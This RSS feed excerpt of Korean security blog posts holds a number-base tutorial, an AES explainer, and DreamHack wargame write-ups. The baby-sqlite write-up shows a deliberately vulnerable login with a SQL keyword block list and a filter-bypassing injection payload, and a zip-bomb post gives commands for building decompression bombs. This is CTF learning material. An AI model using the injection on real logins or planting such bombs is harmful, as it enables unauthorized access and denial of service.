<p>그렇다면 반대로 10진법을 2진수로 변환하려면 <strong>10진수를 2로 나눠 나온 나머지를 이어붙이면 됩니다</strong></p>
<p>예를 들어 67을 2로 계속 나눠보면 </p>
<pre><code>67 / 2 = 몫 33 ... 나머지 1
33 / 2 = 몫 16 ... 나머지 1
16 / 2 = 몫  8 ... 나머지 0
 8 / 2 = 몫  4 ... 나머지 0
 4 / 2 = 몫  2 ... 나머지 0
 2 / 2 = 몫  1 ... 나머지 0
 1 / 2 = 몫  0 ... 나머지 1</code></pre><p>가 되는데 여기서 나온 나머지 값들을 아래부터 이어붙이면 <code>1000011</code> 이 나오게 됩니다
<HR></p>
<h2 id="8진법">8진법</h2>
<p><strong>8진법(Octal System)</strong>은 숫자 0부터 7까지 총 8개의 기호만 사용하며, 8이 되는 순간 자릿수가 올라가는(10) 표기법입니다.</p>
<p>프로그래밍적으로 표기하면 앞에 <strong>&#39;0o(ctal)&#39;</strong>가 따라옵니다</p>
<p>또한 8진법이 컴퓨터에 쓰이는 까닭은 <strong>2진수를 직관적으로 빠르게 변환 가능하며</strong>, <strong>사람이 계산하기 간편</strong>하기 때문이기에 8진법을 사용합니다</p>
<p>8진법의 경우</p>
<pre><code>0 1 2 3 4 5 6 7 10 11 12...
0 1 2 3 4 5 6 7  8  9 10...</code></pre>  <p align='center'>
    <img src="https://media1.tenor.com/m/9r_Z3-SwidgAAAAC/68-aru.gif" width=40%></p>

<h3 id="8진수-↔️-10진수">8진수 ↔️ 10진수</h3>
<p>8진수에서 10진수으로 변환하려면 <strong>8진수의 각 자릿수</strong>(가중치)를 곱합니다</p>
<p>예를 들어 67을 8진수로 나타내면 <code>103</code>이 되는데 </p>
<p>여기서 각 자릿수(가중치)를 곱하면 :</p>
<p>$(1 \times 8^2) + (0 \times 8^1) + (3 \times 8^0) = 64 + 0 + 3 = 67$</p>
<p>이 됩니다</p>
<p>반대로 10진법을 8진수로 변환하려면 <strong>10진수를 8로 나눠 나온 나머지를 이어붙이면 됩니다</strong></p>
<p>예를 들어 67을 8로 계속 나눠보면 </p>
<pre><code>67 / 8
 8 ... 3
 1 ... 0
 0 ... 1</code></pre><p>가 되는데 여기서 나온 나머지 값들을 아래부터 이어붙이면 <code>103</code> 이 나오게 됩니다 <strong>오옹 나이스</strong></p>
<HR>


<h2 id="16진법">16진법</h2>
<p><strong>16진법(Hexadecimal System)</strong>은 <strong>숫자 0부터 ⑨</strong>까지, 그리고 <strong>알파벳 A부터 F</strong>까지 총 ⑯개의 기호를 사용하여 수를 표현하는 방식입니다</p>
<p>프로그래밍적으로 표기하면 앞에 <strong>&#39;0(He)x&#39;</strong>가 따라옵니다</p>
<p>컴퓨터 메모리는 보통 8비트(1바이트) 단위로 데이터를 다루는데 2진수로 8비트를 표현하려면 10110110처럼 길이가 길어져 한눈에 알아보기 힘듭니다</p>
<p>이때 16진수 한 자릿수는 2진수 4자릿수($2^4=16$)와
일대일 (<del>전투에서는팔레르모를익힌</del>) 로 정확히 대응하기 때문에, 긴 2진 데이터를 획기적으로 줄여서 인간이 보기 편하게 만들어 줍니다</p>
<p>메모리 주소나 RGB 색상 코드<strong><span style="color: #FF5733"> (#FF5733)</span></strong>에 16진수를 쓰는 이유가 바로 이 때문입니다</p>
<pre><code>0 1 2 3 4 5 6 7 8 9  A  B  C  D  E  F  10 11 12...
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15  16 17 18...</code></pre>  <p align='center'>
    <img src="https://media.tenor.com/tHiI4QJ7GT0AAAAM/lucio-valencina.gif"></p>


<h3 id="16진수-↔️-10진수">16진수 ↔️ 10진수</h3>
<p>16진수에서 10진수로 변환하려면 각 자릿수에 <strong>16의 n-1승</strong>(가중치)을 곱하여 더합니다 (알파벳은 해당하는 숫자로 바꿔서 계산합니다)</p>
<p>예를 들어 10진수 67을 16진수로 나타내면 43이 됩니다</p>
<p>43을 다시 10진수로 계산해 보면:</p>
<p>$(4 \times 16^1) + (3 \times 16^0) = 64 + 3 = 67$</p>
<p>반대로 10진법을 16진수로 변환하려면 <strong>10진수를 16으로 계속 나눠 나온 나머지를 아래에서부터 이어붙이면 됩니다</strong></p>
<p>67을 16으로 나눠보면</p>
<pre><code>67 / 16
 4 ... 3
 0 ... 4</code></pre><p>나온 나머지 값들을 아래부터 이어붙이면 43이 나오게 됩니다
<HR></p>
<h2 id="꼼수❓">꼼수❓</h2>
<p align='center'>
<img src="https://media1.tenor.com/m/dgG8WGLpCRQAAAAC/cat-smiling.gif"></p>위에서 언급한 방법 말고도 10진 변환 계산이 쉬워지는 꼼?수 가 있습니다

<p>2진수의 경우 2의 거듭제곱을 매번 계산하지 말고, 오른쪽에 1부터 시작해서 2배씩 (제곱) 뻥튀기되는 숫자를 기억합니다</p>
<pre><code>... 128 64 32 16 8 4 2 1
...   0  1  0  1 1 0 1 1</code></pre><p>그리고 10진수로 변환할 때 <strong>딱 1이 켜진 위치만</strong> 계산합니다</p>
<p>또한 8진수와 16진수의 각각 2의 거듭제곱( 2의 3승 , 2의 4승 )으로 이뤄졌다는 식을 이용해</p>
<p>8진수와 16진수의 매 자릿값들을 <strong>3자리, 4자리씩</strong>, 2진수로 변환한 뒤 이어붙어 10진수로 변환하는 방법도 있습니다 뭐, 이건 꼼수라기보단 새로운 풀이에 가깝지만...</p>
<p><strong>8진수 &gt; 2진수 &gt; 10진수 :</strong></p>
<pre><code>0o53 에서 각각 5 와 3을 2진수 3자리로 변환
= 101 011
= 0b101011
= 32+8+2+1
= 43</code></pre><p>** 16진수 &gt; 2진수 &gt; 10진수 :**</p>
<pre><code>0x2b 에서 각각 2와 b를 2진수 4자리로 변환
= 0010 1011
= 0b(00)101011
= 32+8+2+1
= 43</code></pre><HR>

<h2 id="소수점-아래의-자릿값">소수점 아래의 자릿값</h2>
<p>소수점이 포함된 진수 변환 역시 정수부와 원리는 똑같습니다</p>
<p>다만 자릿값이 오른쪽으로 갈수록 제곱이 아닌 <strong>나눗셈</strong>으로 작아질 뿐입니다</p>
<p>또한 위에서 언급했던 3 , 4 자리씩 푸는 법 또한 성립됩니다</p>
<p>핵심 원리는 소수점 아래의 자릿값소수점을 기준으로 오른쪽으로 한 칸씩 갈 때마다 각 진수의 밑수만큼 나누는데 예를 들어</p>
<p>2진수의 경우 2의 -1승은 1/2와 같으므로 0.5...로 계산하고 </p>
<p>8진수의 경우 8의 -1승은 1/8과 같고</p>
<p>16진수의 경우 16의 -1승은 1/16과 같습니다</p>
<p>8진수를 0.54를 예시로 계산하면</p>
<ul>
<li>$5 \rightarrow \mathbf{101}$</li>
<li>$4 \rightarrow \mathbf{100}$</li>
</ul>
<p>$$0.101100_{(2)}$$</p>
<p>$$
\begin{aligned}
&amp;= (1 \times 0.5) + (0 \times 0.25) + (1 \times 0.125) + (1 \times 0.0625) \
&amp;= 0.5 + 0.125 + 0.0625 \
&amp;= \mathbf{0.6875_{(10)}}
\end{aligned}
$$</p>
<p>결과적으로 8진수 $0.54_{(8)}$은 10진수로 <strong>$0.6875_{(10)}$</strong>가 됩니다</p>
<hr>
<br><br>
이상으로 글을 마치도록 하겠습니다 감사합니다.
  <p align='center'>
    <img src="https://media.tenor.com/uZmqrfon0sQAAAAM/cirno-unintelligible.gif" width=50%></p>

<p>  ... 해피 ⑨ 데이~</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[DreamHack] baby-sqlite]]></title>
            <link>https://velog.io/@coding_pineapple/DreamHack-baby-sqlite</link>
            <guid>https://velog.io/@coding_pineapple/DreamHack-baby-sqlite</guid>
            <pubDate>Wed, 19 Aug 2026 07:50:46 GMT</pubDate>
            <description><![CDATA[<p>안녕하십니까 코딩 파인애플입니다
이번에는 baby-sqlite 에 관해 풀어보겠습니다.</p>
<h1 id="baby-sqlite">baby-sqlite</h1>
<p><a href="https://dreamhack.io/wargame/challenges/1">https://dreamhack.io/wargame/challenges/1</a>
애기 sqlite입니다 근데 지금 보니까 드림핵 문제번호가 1입니다 ㄹㅈㄷ.</p>
<p align='center'>
<img src="https://media1.tenor.com/m/SfxW7lT1CIsAAAAC/baby-tiktok.gif" width=50%></p>

<pre><code>#!/usr/bin/env python3
from flask import Flask, request, render_template, make_response, redirect, url_for, session, g
import urllib
import os
import sqlite3

app = Flask(__name__)
app.secret_key = os.urandom(32)
from flask import _app_ctx_stack

DATABASE = &#39;users.db&#39;

def get_db():
    top = _app_ctx_stack.top
    if not hasattr(top, &#39;sqlite_db&#39;):
        top.sqlite_db = sqlite3.connect(DATABASE)
    return top.sqlite_db


try:
    FLAG = open(&#39;./flag.txt&#39;, &#39;r&#39;).read()
except:
    FLAG = &#39;[**FLAG**]&#39;


@app.route(&#39;/&#39;)
def index():
    return render_template(&#39;index.html&#39;)


@app.route(&#39;/login&#39;, methods=[&#39;GET&#39;, &#39;POST&#39;])
def login():
    if request.method == &#39;GET&#39;:
        return render_template(&#39;login.html&#39;)

    uid = request.form.get(&#39;uid&#39;, &#39;&#39;).lower()
    upw = request.form.get(&#39;upw&#39;, &#39;&#39;).lower()
    level = request.form.get(&#39;level&#39;, &#39;9&#39;).lower()

    sqli_filter = [&#39;[&#39;, &#39;]&#39;, &#39;,&#39;, &#39;admin&#39;, &#39;select&#39;, &#39;\&#39;&#39;, &#39;&quot;&#39;, &#39;\t&#39;, &#39;\n&#39;, &#39;\r&#39;, &#39;\x08&#39;, &#39;\x09&#39;, &#39;\x00&#39;, &#39;\x0b&#39;, &#39;\x0d&#39;, &#39; &#39;]
    for x in sqli_filter:
        if uid.find(x) != -1:
            return &#39;No Hack!&#39;
        if upw.find(x) != -1:
            return &#39;No Hack!&#39;
        if level.find(x) != -1:
            return &#39;No Hack!&#39;


    with app.app_context():
        conn = get_db()
        query = f&quot;SELECT uid FROM users WHERE uid=&#39;{uid}&#39; and upw=&#39;{upw}&#39; and level={level};&quot;
        try:
            req = conn.execute(query)
            result = req.fetchone()

            if result is not None:
                uid = result[0]
                if uid == &#39;admin&#39;:
                    return FLAG
        except:
            return &#39;Error!&#39;
    return &#39;Good!&#39;


@app.teardown_appcontext
def close_connection(exception):
    top = _app_ctx_stack.top
    if hasattr(top, &#39;sqlite_db&#39;):
        top.sqlite_db.close()


if __name__ == &#39;__main__&#39;:
    os.system(&#39;rm -rf %s&#39; % DATABASE)
    with app.app_context():
        conn = get_db()
        conn.execute(&#39;CREATE TABLE users (uid text, upw text, level integer);&#39;)
        conn.execute(&quot;INSERT INTO users VALUES (&#39;dream&#39;,&#39;cometrue&#39;, 9);&quot;)
        conn.commit()

    app.run(host=&#39;0.0.0.0&#39;, port=8001)</code></pre><p>문제 코드입니다 제목이 baby-sqlite처럼 <strong>sqlite</strong>로 작성되어 있어 .sql 파일이 따로 없는 것을 알 수 있습니다</p>
<blockquote>
<p>SQLite는 별도의 서버 프로그램 없이 파일 하나로 동작하는 관계형 데이터베이스 관리 시스템(RDBMS) 이다</p>
</blockquote>
<p>아무튼, 코드를 좀 살펴보면 일단 기본적으로 *<em>필터링이 있으며 *</em></p>
<pre><code> sqli_filter = [&#39;[&#39;, &#39;]&#39;, &#39;,&#39;, &#39;admin&#39;, &#39;select&#39;, &#39;\&#39;&#39;, &#39;&quot;&#39;, &#39;\t&#39;, &#39;\n&#39;, &#39;\r&#39;, &#39;\x08&#39;, &#39;\x09&#39;, &#39;\x00&#39;, &#39;\x0b&#39;, &#39;\x0d&#39;, &#39; &#39;]</code></pre><p><code>app.app_context():</code> 에서 <strong>admin</strong>으로 로그인하면 FLAG를 획득할 수 있는 기본적인 로직을 알 수 있습니다</p>
<p><img src="https://velog.velcdn.com/images/coding_pineapple/post/4a0556fd-d766-44d8-a2b4-63e8b09e248e/image.png" alt=""></p>
<p>헌데 login을 보면 입력가능한 건 오직 uid와 upw밖에 없어 <a href='https://always-try.tistory.com/3'>버프 스위트</a>를 이용해 작은 따음표가 없는 level로부터 sqli를 시도할 생각입니다</p>
<p><img src="https://velog.velcdn.com/images/coding_pineapple/post/ac25b63a-1a55-4c39-aa59-60f0c8b746d8/image.png" alt=""></p>
<p>이렇게 다음과 같이 필터링을 피해서 띄어쓰기를 /**/로, select를 values로 admin을 char()로 치환하여 (<a href="https://velog.io/@coding_pineapple/SQL-INJECITON-WAF">SQL INJECTION WAF</a> 참고)</p>
<pre><code>union values(char(97)||char(100)||char(109)||char(105)||char(110))</code></pre><p>을 만들어주면 </p>
<p><img src="https://velog.velcdn.com/images/coding_pineapple/post/c6e79d8e-d40c-4115-b9ab-58e0d71881a3/image.png" alt=""></p>
<p>플래그를 획득할 수 있습니다 오옹 나이스.</p>
<p>flag : DH{sql-lite-cass-lite}
평가 : good 👍</p>
<p><img src="https://velog.velcdn.com/images/coding_pineapple/post/827c467b-7ebe-4e4e-92fa-f0f32b0f998e/image.png
" width=70%></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[DreamHack] half image 풀이]]></title>
            <link>https://velog.io/@coding_pineapple/Dreamhack-half-image-%ED%92%80</link>
            <guid>https://velog.io/@coding_pineapple/Dreamhack-half-image-%ED%92%80</guid>
            <pubDate>Tue, 18 Aug 2026 02:19:36 GMT</pubDate>
            <description><![CDATA[<p>안녕하십니까 코딩 파인애플입니다
이번에는 half image에 관해 풀어보겠습니다.</p>
<h1 id="half-image">half image</h1>
<p><a href="https://dreamhack.io/wargame/challenges/2145">https://dreamhack.io/wargame/challenges/2145</a></p>
<p align='center'><img src='https://velog.velcdn.com/images/coding_pineapple/post/0554fecf-2938-45f4-b48a-fd27bac7a177/image.png
  ' width=60%></p>

<pre><code>from PIL import Image
img = Image.open(&quot;testfile.png&quot;).convert(&quot;RGB&quot;) 
width, height = img.size
hw = width // 2
left = img.crop((0, 0, hw, height))
right = img.crop((hw, 0, width, height))
left.save(&quot;left.png&quot;)
rdata = right.tobytes()
with open(&quot;left.png&quot;, &quot;rb&quot;) as fl: lp = fl.read()
with open(&quot;flag.png&quot;, &quot;wb&quot;) as f_out:
    f_out.write(lp)
    f_out.write(rdata)</code></pre><p align='center'><img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcTkHjWr8is31mms5ipYSNtCWIcOOuFrHIPBM7bJb7Yl7TqIpe6GwKbLkJc4&s=10"></p>


<p><br><br><br> 문제를 받아보면 이렇게 다음과 같은 코드와 이미지가 첨부되어 있습니다
일단 이미지부터 분석해보도록 하겠습니다 (짤은 별도)</p>
<p><img src="https://velog.velcdn.com/images/coding_pineapple/post/390fc6c8-d9cd-496e-b475-4f78dffd5613/image.png" alt="">
Hxd로 분석하다보면 어째서인지 png파일의 푸터 시그니처 <code>49 45 4E 44 AE 42 60 82</code> 뒤에도 뭐가 더 이어진 것을 볼 수 있습니다</p>
<p>따로 데이터를 추출하고 더 분석해보도록 하겠습니다</p>
<pre><code>from PIL import Image
img = Image.open(&quot;testfile.png&quot;).convert(&quot;RGB&quot;) 
width, height = img.size
hw = width // 2
left = img.crop((0, 0, hw, height))
right = img.crop((hw, 0, width, height))
left.save(&quot;left.png&quot;)
rdata = right.tobytes()
with open(&quot;left.png&quot;, &quot;rb&quot;) as fl: lp = fl.read()
with open(&quot;flag.png&quot;, &quot;wb&quot;) as f_out:
    f_out.write(lp)
    f_out.write(rdata)</code></pre><p>주어진 코드를 분석해보면 PNG 이미지를 좌우로 반으로 자른 뒤, &quot;왼쪽 절반 PNG&quot; 파일 뒤 &quot;오른쪽 절반의 raw 픽셀 데이터&quot;를 이어 붙이는 코드입니다</p>
<p>즉, PNG파일 뒤 여분의 데이터를 숨기는 코드라고 보시면 될 것 같습니다</p>
<p>그럼 이제 반대로 복호화 코드를 통해 복원해봅시다</p>
<pre><code>from PIL import Image

with open(&quot;right.raw&quot;, &quot;rb&quot;) as f:
    rdata = f.read()

right_width = 708 # 잘린 왼쪽 이미지의 너비
right_height = 672 # 잘린 오른쪽 이미지의 폭

right_img = Image.frombytes(&quot;RGB&quot;, (right_width, right_height), rdata)
right_img.save(&quot;recovered_right.png&quot;)</code></pre><p align='center'><img src='https://velog.velcdn.com/images/coding_pineapple/post/0bc395ea-6fca-44cf-8203-b9dcf193cf5a/image.png
  ' width=60%></p>


<p>이렇게 다음과 같이 플래그를 획득할 수 있습니다</p>
<p>이 외에도 코드를 짜지 않고 간단하게 이미지를 복원하는 방법도 있습니다</p>
<p><a href="https://imagetostl.com/convert/file/rgb/to/png">웹사이트</a>에 가셔서 왼쪽 이미지를 넣은 뒤 간단하게 너비와 폭만 입력하면 오른쪽 이미지가 복원이 되어 플래그를 획득하는 방법도 존재합니다 (단, 확장자를 .rgb로 저장해야함)</p>
<p>flag : DH{H0w_T0_Get_F1ags?!}
평가 : </p>
<p align='center'><img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcSr3TBgbndKJsrPxIW1RuB5PmN7SpHrgBDt1QU867hrdfBmsPDmOZbrpdHH&s=10" width=50%
                       ><img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcRBAaRqBInTwhNEuuxPgkGxLu3H18MjNynRXw0-LGDGB0dQnp7Epf39hzE&s=10"></p>

<p><br><br><br><br><br><br>
+ 추신 : 당분간은 스테가노그래피 등의 게시물 말고 웹, 리버싱, 암호학과 관련된 게시물만 올라올 것 같습니다</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[AES 알고리즘]]></title>
            <link>https://velog.io/@coding_pineapple/AES-%EC%95%8C%EA%B3%A0%EB%A6%AC%EC%A6%98</link>
            <guid>https://velog.io/@coding_pineapple/AES-%EC%95%8C%EA%B3%A0%EB%A6%AC%EC%A6%98</guid>
            <pubDate>Mon, 17 Aug 2026 04:01:04 GMT</pubDate>
            <description><![CDATA[<p>안녕하십니까 코딩 파인애플입니다
이번 시간에는 AES 알고리즘에 관해 알아보겠습니다.</p>
<p>들어가기 앞서 <a href="https://www.youtube.com/watch?v=gP4PqVGudtg">https://www.youtube.com/watch?v=gP4PqVGudtg</a> 영상을 시청하면 좋을 것 같습니다</p>
<h1 id="ⓐｅ⒮-란">ⒶＥ⒮ 란?</h1>
<p>AES는 Advanced Encryption Standard (고급 암호화 표준)의 약자로 현재 가장 널리 사용되는 대칭키 암호화 알고리즘 중 하나입니다</p>
<blockquote>
<p>대칭키 암호화란?
암호화할 때 키와 복호화할 때의 사용하는 키가 같은 방식이다</p>
</blockquote>
<p>AES의 알고리즘과 규격은 공개되어 있어 누구나 구현하고 사용할 수 있습니다</p>
<p>AES-128을 기준으로 설명하자면</p>
<p>AES-128의 가장 중요한 특징은 데이터를 128비트 단위로 처리합니다</p>
<p>128/8=16byte의 데이터가 있다고 가정하였을 때 <code>ABCDEFGHIJKLMNOP</code></p>
<pre><code>A B C D
E F G H
I J K L
M N O P</code></pre><p>컴퓨터는 이를 내부적으로 4*4 의 표 형태로 만듭니다</p>
<p>이것을 상태 배열이라 부릅니다</p>
<h1 id="🅰️ⓔ🇸-ㄱㄱ">🅰️Ⓔ🇸 ㄱㄱ</h1>
<p>AES는 다음과 같은 과정을 거칩니다</p>
<pre><code>(KeyExpansion) SubBytes -&gt; ShiftRows -&gt; MixColumns -&gt; AddRoundKey</code></pre><p>여기서 이 과정 한 번을 Round라 부릅니다</p>
<h3 id="keyexpansion">KeyExpansion</h3>
<p>KeyExpansion은 128비트 원본 키 하나로부터, 각 라운드마다 사용할 128비트 라운드 키를 생성해내는 과정입니다.</p>
<p>AES-128은 초기 AddRoundKey 1번 + 10라운드에서 각 1번씩, 총 11번의 AddRoundKey를 수행하는데, 이때마다 서로 다른 라운드 키가 필요합니다</p>
<p>이 11개의 라운드 키를 원본 키 하나로부터 만들어내는 게 바로 KeyExpansion입니다.</p>
<p>원본 128비트 키를 4바이트씩 4개의 워드로 나눕니다: W0, W1, W2, W3.</p>
<p>이후 W4부터는 이전 워드들을 이용해 새로운 워드를 계속 만들어나가는데, 4워드마다(=새로운 라운드 키가 시작될 때마다) 특별한 처리를 거칩니다</p>
<p>앞으로의 연산은 KeyExpansion의 별도의 알고리즘으로 처리되는 전용 연산들입니다
RotWord : 워드 안의 4바이트를 왼쪽으로 한 칸 순환 이동
   [a, b, c, d] → [b, c, d, a]
SubWord : SubBytes와 같은 S-box를 이용해 워드의 각 바이트를 치환
Rcon(라운드 상수) XOR : 라운드마다 정해진 고정 상수와 XOR</p>
<p>이 세 단계를 다 거친 뒤</p>
<p>이렇게 RotWord → SubWord → Rcon XOR을 거친 결과를, 4워드 전에 만들어진 워드와 XOR해서 새 워드를 만듭니다.</p>
<p>새 워드 = (RotWord → SubWord → Rcon XOR 결과) XOR (4워드 전 워드)</p>
<p>예를 들어 W4를 만들 땐 W0와, W8을 만들 땐 W4와 XOR하는 식입니다</p>
<p>그 과정에서 반들어진 W4~W43 (총 44개 워드) 가 순차적으로 다 만들어지면 4워드씩 묶은 게 각각 하나의 라운드 키가 되고, 이 라운드키[1]부터 라운드키 [10]까지 총 10개 (+원본 키인 라운드키 [0]가 완성됩니다</p>
<p>그렇게 만들어진 11개의 라운드 키가 실제 암호화 과정에서 AddRoundKey 단게마다 하나씩 순서대로 사용됩니다.</p>
<h2 id="subbytes">SubBytes</h2>
<p>각각의 값을 다른 값으로 바꿉니다</p>
<p>AES에는 미리 정해져 있는 S-Box라는 변환표가 있는데
이를 기준으로 값을 매칭시켜 매칭한 값으로 바꿉니다</p>
<p><img src="https://velog.velcdn.com/images/coding_pineapple/post/ceb17e0c-9959-4e51-a55d-76d41b446ba2/image.png">(S-BOX 변환표)</p>
<p>예를 들어 0x53이라는 값을 매칭한다면 0xED가 되는 식입니다</p>
<h2 id="shiftrows">ShiftRows</h2>
<p>4×4 배열의 각 줄을 왼쪽으로 조금씩 이동시킵니다</p>
<pre><code>A B C D
E F G H
I J K L
M N O P</code></pre><p>4×4 State 배열의 각 행을 왼쪽으로 순환 이동시킵니다
0번째 행은 그대로 두고, 1번째 행은 1칸, 2번째 행은 2칸, 3번째 행은 3칸 왼쪽으로 이동합니다.</p>
<p>이를 최대 3번 인덱스까지 밀어낸다면 다음과 같은 배열이 나오게 됩니다</p>
<pre><code>A B C D # X
F G H E # 한 번 밀어냄
K L I J # 두 번 밀어냄
P M N O # 세 번 밀어냄</code></pre><h2 id="mixcolumns">MixColumns</h2>
<p>위 내용은 살짝 복잡한데 간단히 말하면 열을 섞는데 이제 섞는 걸</p>
<p>아래의 행렬과 각각의 열(Column)들을 곱해주는 연산을 해줍니다</p>
<p align='center'>
<img src="https://velog.velcdn.com/images/coding_pineapple/post/69927c75-beaf-403d-94a6-d5f5f92c734e/image.png
"></p>

<pre><code>2 3 1 1
1 2 3 1
1 1 2 3
3 1 1 2</code></pre><p>위 이미지처럼 정해진 배열과 함께 행렬연산을 통해 곱해줍니다</p>
<p>하지만 16진수에서 곱셈을 어떻게하냐?</p>
<p>*1은 아무것도 안하고</p>
<p>*2는 왼쪽으로 한 번 쉬프트를 해줍니다 단, 순환 쉬프트가 아니라서 맨 오른쪽 비트는 0으로 채워집니다</p>
<p>마지막으로 *3의 경우 좌로 한 번 시프트 후 원래의 값을 더해줍니다 (단 +는 XOR 연산)</p>
<p>(단 마지막 10번째 라운드에는 MixColumns 과정을 생략한다)</p>
<h2 id="addroundkey">AddRoundKey</h2>
<p>현재 State와 해당 라운드에서 사용할 Round Key를 XOR하는 과정입니다</p>
<p>예를 들어 State의 한 바이트가  10110101이고 Round Key의 해당 바이트가 01100110이라면 XOR하여 11010011이라는 값이 산출됩니다</p>
<h1 id="aes-128aes-192aes-256-의-차이">AES-128/AES-192/AES-256 의 차이</h1>
<p>각각의 숫자는 원본 키의 비트 길이를 뜻합니다 셋 다 처리하는 블록 크기는 똑같이 128비트 (16바이트) 이지만 키 길이와 라운드 수가 달라집니다</p>
<table>
<thead>
<tr>
<th></th>
<th>키 길이</th>
<th>라운드 수</th>
<th>라운드 키 개수</th>
</tr>
</thead>
<tbody><tr>
<td>AES-128</td>
<td>128비트 (16바이트)</td>
<td>10 라운드</td>
<td>11개</td>
</tr>
<tr>
<td>AES-192</td>
<td>192비트 (24바이트)</td>
<td>12 라운드</td>
<td>13개</td>
</tr>
<tr>
<td>AES-256</td>
<td>256비트 (32바이트)</td>
<td>14 라운드</td>
<td>15개</td>
</tr>
</tbody></table>
<p><br><br><br>이상으로 글을 마치도록 하겠습니다 감사합니다.<br><br>참고로 이 글 작성하느라 6시간 가까이 (작성 2시간, 4시간 꿈나라 ^^)소비됬습니다...하트 및 팔로우 해주시면 감사할 것 같습니다...</p>
<p><img src="https://velog.velcdn.com/images/coding_pineapple/post/22e79982-aaf4-41e4-8896-10f14c3be019/image.gif" alt=""></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[DreamHack] 폭탄 받아라 !!! 풀이]]></title>
            <link>https://velog.io/@coding_pineapple/DreamHack-%ED%8F%AD%ED%83%84-%EB%B0%9B%EC%95%84%EB%9D%BC-%ED%92%80%EC%9D%B4</link>
            <guid>https://velog.io/@coding_pineapple/DreamHack-%ED%8F%AD%ED%83%84-%EB%B0%9B%EC%95%84%EB%9D%BC-%ED%92%80%EC%9D%B4</guid>
            <pubDate>Thu, 13 Aug 2026 03:57:03 GMT</pubDate>
            <description><![CDATA[<p>안녕하십니까 코딩 파인애플입니다
이번에는 폭탄 받아라 !!! 에 관해 풀어보겠습니다.</p>
<h1 id="폭탄-받아라-">폭탄 받아라 !!!</h1>
<p><a href="https://dreamhack.io/wargame/challenges/2833">https://dreamhack.io/wargame/challenges/2833</a></p>
<p>
<img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcQC42M5jKn4fjuUt1ffB2yV-r-Dqckd-oPUMKZFpcF1f9qiV5ElMp5MUl8&s=10" width=50%>
<img src="https://media.tenor.com/dhVARfXHBcIAAAAM/%EC%95%BC%EC%9D%B8%EC%8B%9C%EB%8C%80%ED%8F%AD%ED%8C%94-%EC%95%BC%EC%9D%B8%EC%8B%9C%EB%8C%80.gif" width=50%></p>

<p><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br> ... <br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br> 문제 파일을 받아보면 💣bomb이라는 파일이 주어집니다</p>
<p>그렇다면 바로 bomb 파일을 Hxd에 돌려보도록 하겠습니다</p>
<img src="https://velog.velcdn.com/images/coding_pineapple/post/22525c5f-7db8-421c-b70f-d332438054aa/image.png">

<p>다음과 같이 시작부터 xz파일의 헤더 시그니처에 해당되는 <code>FD 37 7A 58 5A 00</code> (아스키는 .7zXZ.) 가 있음을 볼 수 있습니다</p>
<p>무제 파일을 하나 만들어 데이터를 복붙해 .xz 파일을 하나 만들어줍시다</p>
<img src="https://velog.velcdn.com/images/coding_pineapple/post/f2e529e0-7aa7-4741-8d50-9dd92daa0f35/image.png">
.xz 파일을 열어보면 이렇게 원본 파일의 크기가 압축 크기의 거의 6,846배에 해당되는 용량을 갖고 있음을 볼 수 있습니다

<p>그래도 다행히 압축을 풀더라도 250MB 남짓한 파일이 만들어지므로 앵간한 해병짜장💩컴이 아닌 이상 굴러가지니 압축을 해제하여 Hxd로 분석해봅시다</p>
<p align='center'>
<img src="https://velog.velcdn.com/images/coding_pineapple/post/b3c097da-f8ed-478e-bbe0-3c4131ee7e50/image.png"></p>
이렇게 플래그에 해당되는 AF{BOOM_This_is_a_zip_bomb} (...) 을 제외한 모든 데이터가 0으로 도배됨을 알 수 있습니다

<p>flag : AF{BOOM_This_is_a_zip_bomb}
평가 :</p>
<p align='center'><img src="https://media1.tenor.com/m/ebKK5jjCVsQAAAAC/hidrogen-bomb-vs-coughing-baby-coughing-baby-vs-hydrogen-bomb.gif" width=40%></p>

<h1 id="👀문제-분석">👀문제 분석</h1>
<p>문제의 원리는 Zip 폭탄 기법을 사용한 공격입니다
예를 들어 bomb.zip 이라는 파일의 압축 용량이 10 MB라 하더라도 압축을 해제하였을 때 실제 용량이 1 TB 이상이 나가는 경우 해당된다고 보면 됩니다</p>
<p>만일 무심코 푼다면 저장 공간이 꽉 차거나, RAM과 CPU가 과도하게 사용되어 프로그램 혹은 시스템 등의 장비를 정지합니다</p>
<p>Zip 폭탄의 대표적인 예로는 42.zip이 존재하는데 해당 파일의 압축된 용량은 42 KB이나 압축된 파일 안에는 5겹으로 16개씩 존재하며 마지막에는 4.3 GB 짜리 파일 (최후의 경고) 이 있는데 이를 풀 경우 전체 용량이 무려 <strong>3.99 PB (약 4,183,818GB)</strong> 가 됩니다 <del>(역시 모든 것에 대한 궁극적인 질문의 해답)</del></p>
<p align='center'>
<img src="https://media1.tenor.com/m/MJJalMULiI4AAAAC/caseoh-flashbang-renza.gif"></p>

<p>뭐, 궁금하시면 <a href="https://unforgettable.dk/">여기</a>가셔서 직접 하시면 될 것 같습니다 그 전에 자신이 치를 대가를 한 번쯤 더 생각하고 행동에 옮기는 게 좋습니다</p>
<h1 id="만들-자-만들-자-만들-자-만들자">만들 자~ 만들 자~ 만들 자~ 만!들!자!</h1>
<p>리눅스 기준</p>
<pre><code>yes &quot;반복출력할문자열&quot; | tr -d &#39;\n&#39; | dd bs=1M(블록 사이즈 정의) count=2048(블록의 갯수) &gt; 파일명.txt 
참고 : (1 Mib * 2048 = 2 Gib)

xz -9 파일명.txt
</code></pre><p>윈도우 기준</p>
<pre><code>작업 경로를 사용자의 바탕화면으로 이동
cd /d &quot;%USERPROFILE%\Desktop&quot; 

바탕화면에 지정된 크기의 더미 파일 (testbomb.txt) 을 생성
fsutil file createnew testbomb.txt 52428800 (생성할 파일의 크기를 바이트 단위로 지정 52,428,400 바이트는 약 50MB)

방금 만든 파일을 최고로 압축하여 testbomb.zip 파일을 생성
powershell -Command &quot;Compress-Archive -Path testbomb.txt -DestinationPath testbomb.zip -CompressionLevel Optimal&quot;

원본 텍스트 파일 제거
del testbomb.txt
